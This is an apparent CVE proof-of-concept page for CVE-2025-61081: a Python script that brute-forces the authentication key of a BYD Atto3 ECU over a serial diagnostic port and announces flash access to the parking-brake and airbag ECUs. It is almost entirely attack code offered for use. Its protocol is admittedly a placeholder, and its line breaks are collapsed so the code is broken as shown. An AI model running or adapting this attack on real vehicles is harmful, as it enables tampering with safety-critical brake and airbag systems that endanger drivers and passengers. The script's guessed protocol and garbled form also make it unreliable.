CVE-2025-61081: BYD Atto3 认证密钥暴力破解漏洞

#!/usr/bin/env python3 # PoC for CVE-2025-61081: Brute Force Auth Key on BYD Atto3 # This script simulates the brute force process against the ECU interface. import serial import time def brute_force_ecu(port='/dev/ttyUSB0', baud_rate=115200): """ Attempts to brute force the authentication key. Note: Actual protocol implementation may vary. """ try: # Connect to the vehicle's diagnostic interface ser = serial.Serial(port, baud_rate, timeout=1) print(f"[+] Connected to {port} at {baud_rate} baud.") # Simulating key space (e.g., 16-bit or 32-bit integer range) # In a real scenario, this depends on the specific key format. for key in range(0, 100000): # Construct the authentication request packet # Format example: "AUTH_KEY <value>" payload = f"AUTH_KEY {key}\n".encode('utf-8') ser.write(payload) response = ser.readline().decode('utf-8').strip() # Check for successful authentication response if "ACCESS_GRANTED" in response or "OK" in response: print(f"[!] SUCCESS: Valid Key Found -> {key}") print(f"[!] Flash access enabled for EPB and SRS ECUs.") return key # Simple progress indicator if key % 1000 == 0: print(f"[*] Testing key: {key}") # Optional: Small delay to prevent bus flooding time.sleep(0.01) except serial.SerialException as e: print(f"[-] Serial Error: {e}") except KeyboardInterrupt: print("\n[-] Attack stopped by user.") finally: if 'ser' in locals() and ser.is_open: ser.close() print("[+] Connection closed.") if __name__ == "__main__": print("Starting CVE-2025-61081 PoC...") brute_force_ecu()